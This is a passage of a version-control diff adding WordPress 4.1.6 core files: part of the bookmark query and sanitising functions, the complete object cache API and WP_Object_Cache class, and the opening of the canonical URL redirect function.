+			$length = ", CHAR_LENGTH(link_name) AS length";
+			break;
+		case 'rand':
+			$orderby = 'rand()';
+			break;
+		case 'link_id':
+			$orderby = "$wpdb->links.link_id";
+			break;
+		default:
+			$orderparams = array();
+			$keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' );
+			foreach ( explode( ',', $orderby ) as $ordparam ) {
+				$ordparam = trim( $ordparam );
+
+				if ( in_array( 'link_' . $ordparam, $keys ) ) {
+					$orderparams[] = 'link_' . $ordparam;
+				} elseif ( in_array( $ordparam, $keys ) ) {
+					$orderparams[] = $ordparam;
+				}
+			}
+			$orderby = implode( ',', $orderparams );
+	}
+
+	if ( empty( $orderby ) ) {
+		$orderby = 'link_name';
+	}
+
+	$order = strtoupper( $r['order'] );
+	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ) ) ) {
+		$order = 'ASC';
+	}
+
+	$visible = '';
+	if ( $r['hide_invisible'] ) {
+		$visible = "AND link_visible = 'Y'";
+	}
+
+	$query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query";
+	$query .= " $exclusions $inclusions $search";
+	$query .= " ORDER BY $orderby $order";
+	if ( $r['limit'] != -1 ) {
+		$query .= ' LIMIT ' . $r['limit'];
+	}
+
+	$results = $wpdb->get_results( $query );
+
+	$cache[ $key ] = $results;
+	wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
+
+	/** This filter is documented in wp-includes/bookmark.php */
+	return apply_filters( 'get_bookmarks', $results, $r );
+}
+
+/**
+ * Sanitizes all bookmark fields
+ *
+ * @since 2.3.0
+ *
+ * @param object|array $bookmark Bookmark row
+ * @param string $context Optional, default is 'display'. How to filter the
+ *		fields
+ * @return object|array Same type as $bookmark but with fields sanitized.
+ */
+function sanitize_bookmark($bookmark, $context = 'display') {
+	$fields = array('link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category',
+		'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated',
+		'link_rel', 'link_notes', 'link_rss', );
+
+	if ( is_object($bookmark) ) {
+		$do_object = true;
+		$link_id = $bookmark->link_id;
+	} else {
+		$do_object = false;
+		$link_id = $bookmark['link_id'];
+	}
+
+	foreach ( $fields as $field ) {
+		if ( $do_object ) {
+			if ( isset($bookmark->$field) )
+				$bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context);
+		} else {
+			if ( isset($bookmark[$field]) )
+				$bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context);
+		}
+	}
+
+	return $bookmark;
+}
+
+/**
+ * Sanitizes a bookmark field
+ *
+ * Sanitizes the bookmark fields based on what the field name is. If the field
+ * has a strict value set, then it will be tested for that, else a more generic
+ * filtering is applied. After the more strict filter is applied, if the
+ * $context is 'raw' then the value is immediately return.
+ *
+ * Hooks exist for the more generic cases. With the 'edit' context, the
+ * 'edit_$field' filter will be called and passed the $value and $bookmark_id
+ * respectively. With the 'db' context, the 'pre_$field' filter is called and
+ * passed the value. The 'display' context is the final context and has the
+ * $field has the filter name and is passed the $value, $bookmark_id, and
+ * $context respectively.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field The bookmark field
+ * @param mixed $value The bookmark field value
+ * @param int $bookmark_id Bookmark ID
+ * @param string $context How to filter the field value. Either 'raw', 'edit',
+ *		'attribute', 'js', 'db', or 'display'
+ * @return mixed The filtered value
+ */
+function sanitize_bookmark_field($field, $value, $bookmark_id, $context) {
+	switch ( $field ) {
+	case 'link_id' : // ints
+	case 'link_rating' :
+		$value = (int) $value;
+		break;
+	case 'link_category' : // array( ints )
+		$value = array_map('absint', (array) $value);
+		// We return here so that the categories aren't filtered.
+		// The 'link_category' filter is for the name of a link category, not an array of a link's link categories
+		return $value;
+
+	case 'link_visible' : // bool stored as Y|N
+		$value = preg_replace('/[^YNyn]/', '', $value);
+		break;
+	case 'link_target' : // "enum"
+		$targets = array('_top', '_blank');
+		if ( ! in_array($value, $targets) )
+			$value = '';
+		break;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( 'edit' == $context ) {
+		/** This filter is documented in wp-includes/post.php */
+		$value = apply_filters( "edit_$field", $value, $bookmark_id );
+
+		if ( 'link_notes' == $field ) {
+			$value = esc_html( $value ); // textarea_escaped
+		} else {
+			$value = esc_attr($value);
+		}
+	} else if ( 'db' == $context ) {
+		/** This filter is documented in wp-includes/post.php */
+		$value = apply_filters( "pre_$field", $value );
+	} else {
+		/** This filter is documented in wp-includes/post.php */
+		$value = apply_filters( $field, $value, $bookmark_id, $context );
+
+		if ( 'attribute' == $context )
+			$value = esc_attr($value);
+		else if ( 'js' == $context )
+			$value = esc_js($value);
+	}
+
+	return $value;
+}
+
+/**
+ * Deletes bookmark cache
+ *
+ * @since 2.7.0
+ */
+function clean_bookmark_cache( $bookmark_id ) {
+	wp_cache_delete( $bookmark_id, 'bookmark' );
+	wp_cache_delete( 'get_bookmarks', 'bookmark' );
+	clean_object_term_cache( $bookmark_id, 'link');
+}
Index: /tags/4.1.6/src/wp-includes/cache.php
===================================================================
--- /tags/4.1.6/src/wp-includes/cache.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/cache.php	(revision 33402)
@@ -0,0 +1,707 @@
+<?php
+/**
+ * Object Cache API
+ *
+ * @link http://codex.wordpress.org/Function_Reference/WP_Cache
+ *
+ * @package WordPress
+ * @subpackage Cache
+ */
+
+/**
+ * Adds data to the cache, if the cache key doesn't already exist.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::add()
+ *
+ * @param int|string $key The cache key to use for retrieval later
+ * @param mixed $data The data to add to the cache store
+ * @param string $group The group to add the cache to
+ * @param int $expire When the cache data should be expired
+ * @return bool False if cache key and group already exist, true on success
+ */
+function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->add( $key, $data, $group, (int) $expire );
+}
+
+/**
+ * Closes the cache.
+ *
+ * This function has ceased to do anything since WordPress 2.5. The
+ * functionality was removed along with the rest of the persistent cache. This
+ * does not mean that plugins can't implement this function when they need to
+ * make sure that the cache is cleaned up after WordPress no longer needs it.
+ *
+ * @since 2.0.0
+ *
+ * @return bool Always returns True
+ */
+function wp_cache_close() {
+	return true;
+}
+
+/**
+ * Decrement numeric cache item's value
+ *
+ * @since 3.3.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::decr()
+ *
+ * @param int|string $key The cache key to increment
+ * @param int $offset The amount by which to decrement the item's value. Default is 1.
+ * @param string $group The group the key is in.
+ * @return false|int False on failure, the item's new value on success.
+ */
+function wp_cache_decr( $key, $offset = 1, $group = '' ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->decr( $key, $offset, $group );
+}
+
+/**
+ * Removes the cache contents matching key and group.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::delete()
+ *
+ * @param int|string $key What the contents in the cache are called
+ * @param string $group Where the cache contents are grouped
+ * @return bool True on successful removal, false on failure
+ */
+function wp_cache_delete($key, $group = '') {
+	global $wp_object_cache;
+
+	return $wp_object_cache->delete($key, $group);
+}
+
+/**
+ * Removes all cache items.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::flush()
+ *
+ * @return bool False on failure, true on success
+ */
+function wp_cache_flush() {
+	global $wp_object_cache;
+
+	return $wp_object_cache->flush();
+}
+
+/**
+ * Retrieves the cache contents from the cache by key and group.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::get()
+ *
+ * @param int|string $key What the contents in the cache are called
+ * @param string $group Where the cache contents are grouped
+ * @param bool $force Whether to force an update of the local cache from the persistent cache (default is false)
+ * @param &bool $found Whether key was found in the cache. Disambiguates a return of false, a storable value.
+ * @return bool|mixed False on failure to retrieve contents or the cache
+ *		contents on success
+ */
+function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->get( $key, $group, $force, $found );
+}
+
+/**
+ * Increment numeric cache item's value
+ *
+ * @since 3.3.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::incr()
+ *
+ * @param int|string $key The cache key to increment
+ * @param int $offset The amount by which to increment the item's value. Default is 1.
+ * @param string $group The group the key is in.
+ * @return false|int False on failure, the item's new value on success.
+ */
+function wp_cache_incr( $key, $offset = 1, $group = '' ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->incr( $key, $offset, $group );
+}
+
+/**
+ * Sets up Object Cache Global and assigns it.
+ *
+ * @since 2.0.0
+ * @global WP_Object_Cache $wp_object_cache WordPress Object Cache
+ */
+function wp_cache_init() {
+	$GLOBALS['wp_object_cache'] = new WP_Object_Cache();
+}
+
+/**
+ * Replaces the contents of the cache with new data.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::replace()
+ *
+ * @param int|string $key What to call the contents in the cache
+ * @param mixed $data The contents to store in the cache
+ * @param string $group Where to group the cache contents
+ * @param int $expire When to expire the cache contents
+ * @return bool False if not exists, true if contents were replaced
+ */
+function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
+}
+
+/**
+ * Saves the data to the cache.
+ *
+ * @since 2.0.0
+ *
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::set()
+ *
+ * @param int|string $key What to call the contents in the cache
+ * @param mixed $data The contents to store in the cache
+ * @param string $group Where to group the cache contents
+ * @param int $expire When to expire the cache contents
+ * @return bool False on failure, true on success
+ */
+function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->set( $key, $data, $group, (int) $expire );
+}
+
+/**
+ * Switch the interal blog id.
+ *
+ * This changes the blog id used to create keys in blog specific groups.
+ *
+ * @since 3.5.0
+ *
+ * @param int $blog_id Blog ID
+ */
+function wp_cache_switch_to_blog( $blog_id ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->switch_to_blog( $blog_id );
+}
+
+/**
+ * Adds a group or set of groups to the list of global groups.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $groups A group or an array of groups to add
+ */
+function wp_cache_add_global_groups( $groups ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->add_global_groups( $groups );
+}
+
+/**
+ * Adds a group or set of groups to the list of non-persistent groups.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $groups A group or an array of groups to add
+ */
+function wp_cache_add_non_persistent_groups( $groups ) {
+	// Default cache doesn't persist so nothing to do here.
+	return;
+}
+
+/**
+ * Reset internal cache keys and structures. If the cache backend uses global
+ * blog or site IDs as part of its cache keys, this function instructs the
+ * backend to reset those keys and perform any cleanup since blog or site IDs
+ * have changed since cache init.
+ *
+ * This function is deprecated. Use wp_cache_switch_to_blog() instead of this
+ * function when preparing the cache for a blog switch. For clearing the cache
+ * during unit tests, consider using wp_cache_init(). wp_cache_init() is not
+ * recommended outside of unit tests as the performance penality for using it is
+ * high.
+ *
+ * @since 2.6.0
+ * @deprecated 3.5.0
+ */
+function wp_cache_reset() {
+	_deprecated_function( __FUNCTION__, '3.5' );
+
+	global $wp_object_cache;
+
+	return $wp_object_cache->reset();
+}
+
+/**
+ * WordPress Object Cache
+ *
+ * The WordPress Object Cache is used to save on trips to the database. The
+ * Object Cache stores all of the cache data to memory and makes the cache
+ * contents available by using a key, which is used to name and later retrieve
+ * the cache contents.
+ *
+ * The Object Cache can be replaced by other caching mechanisms by placing files
+ * in the wp-content folder which is looked at in wp-settings. If that file
+ * exists, then this file will not be included.
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 2.0.0
+ */
+class WP_Object_Cache {
+
+	/**
+	 * Holds the cached objects
+	 *
+	 * @var array
+	 * @access private
+	 * @since 2.0.0
+	 */
+	private $cache = array();
+
+	/**
+	 * The amount of times the cache data was already stored in the cache.
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @var int
+	 */
+	private $cache_hits = 0;
+
+	/**
+	 * Amount of times the cache did not have the request in cache
+	 *
+	 * @var int
+	 * @access public
+	 * @since 2.0.0
+	 */
+	public $cache_misses = 0;
+
+	/**
+	 * List of global groups
+	 *
+	 * @var array
+	 * @access protected
+	 * @since 3.0.0
+	 */
+	protected $global_groups = array();
+
+	/**
+	 * The blog prefix to prepend to keys in non-global groups.
+	 *
+	 * @var int
+	 * @access private
+	 * @since 3.5.0
+	 */
+	private $blog_prefix;
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Adds data to the cache if it doesn't already exist.
+	 *
+	 * @uses WP_Object_Cache::_exists Checks to see if the cache already has data.
+	 * @uses WP_Object_Cache::set Sets the data after the checking the cache
+	 *		contents existence.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key What to call the contents in the cache
+	 * @param mixed $data The contents to store in the cache
+	 * @param string $group Where to group the cache contents
+	 * @param int $expire When to expire the cache contents
+	 * @return bool False if cache key and group already exist, true on success
+	 */
+	public function add( $key, $data, $group = 'default', $expire = 0 ) {
+		if ( wp_suspend_cache_addition() )
+			return false;
+
+		if ( empty( $group ) )
+			$group = 'default';
+
+		$id = $key;
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$id = $this->blog_prefix . $key;
+
+		if ( $this->_exists( $id, $group ) )
+			return false;
+
+		return $this->set( $key, $data, $group, (int) $expire );
+	}
+
+	/**
+	 * Sets the list of global groups.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $groups List of groups that are global.
+	 */
+	public function add_global_groups( $groups ) {
+		$groups = (array) $groups;
+
+		$groups = array_fill_keys( $groups, true );
+		$this->global_groups = array_merge( $this->global_groups, $groups );
+	}
+
+	/**
+	 * Decrement numeric cache item's value
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int|string $key The cache key to increment
+	 * @param int $offset The amount by which to decrement the item's value. Default is 1.
+	 * @param string $group The group the key is in.
+	 * @return false|int False on failure, the item's new value on success.
+	 */
+	public function decr( $key, $offset = 1, $group = 'default' ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $key, $group ) )
+			return false;
+
+		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) )
+			$this->cache[ $group ][ $key ] = 0;
+
+		$offset = (int) $offset;
+
+		$this->cache[ $group ][ $key ] -= $offset;
+
+		if ( $this->cache[ $group ][ $key ] < 0 )
+			$this->cache[ $group ][ $key ] = 0;
+
+		return $this->cache[ $group ][ $key ];
+	}
+
+	/**
+	 * Remove the contents of the cache key in the group
+	 *
+	 * If the cache key does not exist in the group, then nothing will happen.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key What the contents in the cache are called
+	 * @param string $group Where the cache contents are grouped
+	 * @param bool $deprecated Deprecated.
+	 *
+	 * @return bool False if the contents weren't deleted and true on success
+	 */
+	public function delete( $key, $group = 'default', $deprecated = false ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $key, $group ) )
+			return false;
+
+		unset( $this->cache[$group][$key] );
+		return true;
+	}
+
+	/**
+	 * Clears the object cache of all data
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return bool Always returns true
+	 */
+	public function flush() {
+		$this->cache = array ();
+
+		return true;
+	}
+
+	/**
+	 * Retrieves the cache contents, if it exists
+	 *
+	 * The contents will be first attempted to be retrieved by searching by the
+	 * key in the cache group. If the cache is hit (success) then the contents
+	 * are returned.
+	 *
+	 * On failure, the number of cache misses will be incremented.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key What the contents in the cache are called
+	 * @param string $group Where the cache contents are grouped
+	 * @param string $force Whether to force a refetch rather than relying on the local cache (default is false)
+	 * @return bool|mixed False on failure to retrieve contents or the cache
+	 *		contents on success
+	 */
+	public function get( $key, $group = 'default', $force = false, &$found = null ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( $this->_exists( $key, $group ) ) {
+			$found = true;
+			$this->cache_hits += 1;
+			if ( is_object($this->cache[$group][$key]) )
+				return clone $this->cache[$group][$key];
+			else
+				return $this->cache[$group][$key];
+		}
+
+		$found = false;
+		$this->cache_misses += 1;
+		return false;
+	}
+
+	/**
+	 * Increment numeric cache item's value
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int|string $key The cache key to increment
+	 * @param int $offset The amount by which to increment the item's value. Default is 1.
+	 * @param string $group The group the key is in.
+	 * @return false|int False on failure, the item's new value on success.
+	 */
+	public function incr( $key, $offset = 1, $group = 'default' ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $key, $group ) )
+			return false;
+
+		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) )
+			$this->cache[ $group ][ $key ] = 0;
+
+		$offset = (int) $offset;
+
+		$this->cache[ $group ][ $key ] += $offset;
+
+		if ( $this->cache[ $group ][ $key ] < 0 )
+			$this->cache[ $group ][ $key ] = 0;
+
+		return $this->cache[ $group ][ $key ];
+	}
+
+	/**
+	 * Replace the contents in the cache, if contents already exist
+	 *
+	 * @since 2.0.0
+	 * @see WP_Object_Cache::set()
+	 *
+	 * @param int|string $key What to call the contents in the cache
+	 * @param mixed $data The contents to store in the cache
+	 * @param string $group Where to group the cache contents
+	 * @param int $expire When to expire the cache contents
+	 * @return bool False if not exists, true if contents were replaced
+	 */
+	public function replace( $key, $data, $group = 'default', $expire = 0 ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		$id = $key;
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$id = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $id, $group ) )
+			return false;
+
+		return $this->set( $key, $data, $group, (int) $expire );
+	}
+
+	/**
+	 * Reset keys
+	 *
+	 * @since 3.0.0
+	 * @deprecated 3.5.0
+	 */
+	public function reset() {
+		_deprecated_function( __FUNCTION__, '3.5', 'switch_to_blog()' );
+
+		// Clear out non-global caches since the blog ID has changed.
+		foreach ( array_keys( $this->cache ) as $group ) {
+			if ( ! isset( $this->global_groups[ $group ] ) )
+				unset( $this->cache[ $group ] );
+		}
+	}
+
+	/**
+	 * Sets the data contents into the cache
+	 *
+	 * The cache contents is grouped by the $group parameter followed by the
+	 * $key. This allows for duplicate ids in unique groups. Therefore, naming of
+	 * the group should be used with care and should follow normal function
+	 * naming guidelines outside of core WordPress usage.
+	 *
+	 * The $expire parameter is not used, because the cache will automatically
+	 * expire for each time a page is accessed and PHP finishes. The method is
+	 * more for cache plugins which use files.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key What to call the contents in the cache
+	 * @param mixed $data The contents to store in the cache
+	 * @param string $group Where to group the cache contents
+	 * @param int $expire Not Used
+	 * @return bool Always returns true
+	 */
+	public function set( $key, $data, $group = 'default', $expire = 0 ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( is_object( $data ) )
+			$data = clone $data;
+
+		$this->cache[$group][$key] = $data;
+		return true;
+	}
+
+	/**
+	 * Echoes the stats of the caching.
+	 *
+	 * Gives the cache hits, and cache misses. Also prints every cached group,
+	 * key and the data.
+	 *
+	 * @since 2.0.0
+	 */
+	public function stats() {
+		echo "<p>";
+		echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />";
+		echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />";
+		echo "</p>";
+		echo '<ul>';
+		foreach ($this->cache as $group => $cache) {
+			echo "<li><strong>Group:</strong> $group - ( " . number_format( strlen( serialize( $cache ) ) / 1024, 2 ) . 'k )</li>';
+		}
+		echo '</ul>';
+	}
+
+	/**
+	 * Switch the interal blog id.
+	 *
+	 * This changes the blog id used to create keys in blog specific groups.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $blog_id Blog ID
+	 */
+	public function switch_to_blog( $blog_id ) {
+		$blog_id = (int) $blog_id;
+		$this->blog_prefix = $this->multisite ? $blog_id . ':' : '';
+	}
+
+	/**
+	 * Utility function to determine whether a key exists in the cache.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @access protected
+	 * @param string $key
+	 * @param string $group
+	 * @return bool
+	 */
+	protected function _exists( $key, $group ) {
+		return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) );
+	}
+
+	/**
+	 * Sets up object properties; PHP 5 style constructor
+	 *
+	 * @since 2.0.8
+	 * @return null|WP_Object_Cache If cache is disabled, returns null.
+	 */
+	public function __construct() {
+		global $blog_id;
+
+		$this->multisite = is_multisite();
+		$this->blog_prefix =  $this->multisite ? $blog_id . ':' : '';
+
+
+		/**
+		 * @todo This should be moved to the PHP4 style constructor, PHP5
+		 * already calls __destruct()
+		 */
+		register_shutdown_function( array( $this, '__destruct' ) );
+	}
+
+	/**
+	 * Will save the object cache before object is completely destroyed.
+	 *
+	 * Called upon object destruction, which should be when PHP ends.
+	 *
+	 * @since  2.0.8
+	 *
+	 * @return bool True value. Won't be used by PHP
+	 */
+	public function __destruct() {
+		return true;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/canonical.php
===================================================================
--- /tags/4.1.6/src/wp-includes/canonical.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/canonical.php	(revision 33402)
@@ -0,0 +1,586 @@
+<?php
+/**
+ * Canonical API to handle WordPress Redirecting
+ *
+ * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
+ * by Mark Jaquith
+ *
+ * @package WordPress
+ * @since 2.3.0
+ */
+
+/**
+ * Redirects incoming links to the proper URL based on the site url.
+ *
+ * Search engines consider www.somedomain.com and somedomain.com to be two
+ * different URLs when they both go to the same location. This SEO enhancement
+ * prevents penalty for duplicate content by redirecting all incoming links to
+ * one or the other.
+ *
+ * Prevents redirection for feeds, trackbacks, searches, comment popup, and
+ * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
+ * page/post previews, WP admin, Trackbacks, robots.txt, searches, or on POST
+ * requests.
+ *
+ * Will also attempt to find the correct link when a user enters a URL that does
+ * not exist based on exact WordPress query. Will instead try to parse the URL
+ * or query in an attempt to figure the correct page to go to.
+ *
+ * @since 2.3.0
+ * @uses $wp_rewrite
+ * @uses $is_IIS
+ *
+ * @param string $requested_url Optional. The URL that was requested, used to
+ *		figure if redirect is needed.
+ * @param bool $do_redirect Optional. Redirect to the new URL.
+ * @return null|false|string Null, if redirect not needed. False, if redirect
+ *		not needed or the string of the URL
+ */
+function redirect_canonical( $requested_url = null, $do_redirect = true ) {
+	global $wp_rewrite, $is_IIS, $wp_query, $wpdb;
+
+	if ( isset( $_SERVER['REQUEST_METHOD'] ) && ! in_array( strtoupper( $_SERVER['REQUEST_METHOD'] ), array( 'GET', 'HEAD' ) ) ) {
+		return;
+	}
+
+	// If we're not in wp-admin and the post has been published and preview nonce
+	// is non-existent or invalid then no need for preview in query
+	if ( is_preview() && get_query_var( 'p' ) && 'publish' == get_post_status( get_query_var( 'p' ) ) ) {
+		if ( ! isset( $_GET['preview_id'] )
+			|| ! isset( $_GET['preview_nonce'] )
+			|| ! wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . (int) $_GET['preview_id'] ) ) {
+			$wp_query->is_preview = false;
+		}
+	}
+
+	if ( is_trackback() || is_search() || is_comments_popup() || is_admin() || is_preview() || is_robots() || ( $is_IIS && !iis7_supports_permalinks() ) ) {
+		return;
+	}
+
+	if ( !$requested_url ) {
+		// build the URL in the address bar
+		$requested_url  = is_ssl() ? 'https://' : 'http://';
+		$requested_url .= $_SERVER['HTTP_HOST'];
+		$requested_url .= $_SERVER['REQUEST_URI'];
+	}
+
+	$original = @parse_url($requested_url);
+	if ( false === $original )
+		return;
+
+	// Some PHP setups turn requests for / into /index.php in REQUEST_URI
+	// See: https://core.trac.wordpress.org/ticket/5017
+	// See: https://core.trac.wordpress.org/ticket/7173
+	// Disabled, for now:
+	// $original['path'] = preg_replace('|/index\.php$|', '/', $original['path']);
+
+	$redirect = $original;
+	$redirect_url = false;
+
+	// Notice fixing
+	if ( !isset($redirect['path']) )
+		$redirect['path'] = '';
+	if ( !isset($redirect['query']) )
+		$redirect['query'] = '';
+
+	// It's not a preview, so remove it from URL
+	if ( get_query_var( 'preview' ) ) {
+		$redirect['query'] = remove_query_arg( 'preview', $redirect['query'] );
+	}
+
+	if ( is_feed() && ( $id = get_query_var( 'p' ) ) ) {
+		if ( $redirect_url = get_post_comments_feed_link( $id, get_query_var( 'feed' ) ) ) {
+			$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type', 'feed'), $redirect_url );
+			$redirect['path'] = parse_url( $redirect_url, PHP_URL_PATH );
+		}
+	}
+
+	if ( is_singular() && 1 > $wp_query->post_count && ($id = get_query_var('p')) ) {
+
+		$vars = $wpdb->get_results( $wpdb->prepare("SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $id) );
+
+		if ( isset($vars[0]) && $vars = $vars[0] ) {
+			if ( 'revision' == $vars->post_type && $vars->post_parent > 0 )
+				$id = $vars->post_parent;
+
+			if ( $redirect_url = get_permalink($id) )
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url );
+		}
+	}
+
+	// These tests give us a WP-generated permalink
+	if ( is_404() ) {
+
+		// Redirect ?page_id, ?p=, ?attachment_id= to their respective url's
+		$id = max( get_query_var('p'), get_query_var('page_id'), get_query_var('attachment_id') );
+		if ( $id && $redirect_post = get_post($id) ) {
+			$post_type_obj = get_post_type_object($redirect_post->post_type);
+			if ( $post_type_obj->public ) {
+				$redirect_url = get_permalink($redirect_post);
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url );
+			}
+		}
+
+		if ( get_query_var( 'day' ) && get_query_var( 'monthnum' ) && get_query_var( 'year' ) ) {
+			$year  = get_query_var( 'year' );
+			$month = get_query_var( 'monthnum' );
+			$day   = get_query_var( 'day' );
+			$date  = sprintf( '%04d-%02d-%02d', $year, $month, $day );
+			if ( ! wp_checkdate( $month, $day, $year, $date ) ) {
+				$redirect_url = get_month_link( $year, $month );
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum', 'day' ), $redirect_url );
+			}
+		} elseif ( get_query_var( 'monthnum' ) && get_query_var( 'year' ) && 12 < get_query_var( 'monthnum' ) ) {
+			$redirect_url = get_year_link( get_query_var( 'year' ) );
+			$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum' ), $redirect_url );
+		}
+
+		if ( ! $redirect_url ) {
+			if ( $redirect_url = redirect_guess_404_permalink() ) {
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'page', 'feed', 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url );
+			}
+		}
+
+	} elseif ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) {
+		// rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101
+		if ( is_attachment() && !empty($_GET['attachment_id']) && ! $redirect_url ) {
+			if ( $redirect_url = get_attachment_link(get_query_var('attachment_id')) )
+				$redirect['query'] = remove_query_arg('attachment_id', $redirect['query']);
+		} elseif ( is_single() && !empty($_GET['p']) && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_query_var('p')) )
+				$redirect['query'] = remove_query_arg(array('p', 'post_type'), $redirect['query']);
+		} elseif ( is_single() && !empty($_GET['name'])  && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink( $wp_query->get_queried_object_id() ) )
+				$redirect['query'] = remove_query_arg('name', $redirect['query']);
+		} elseif ( is_page() && !empty($_GET['page_id']) && ! $redirect_url ) {
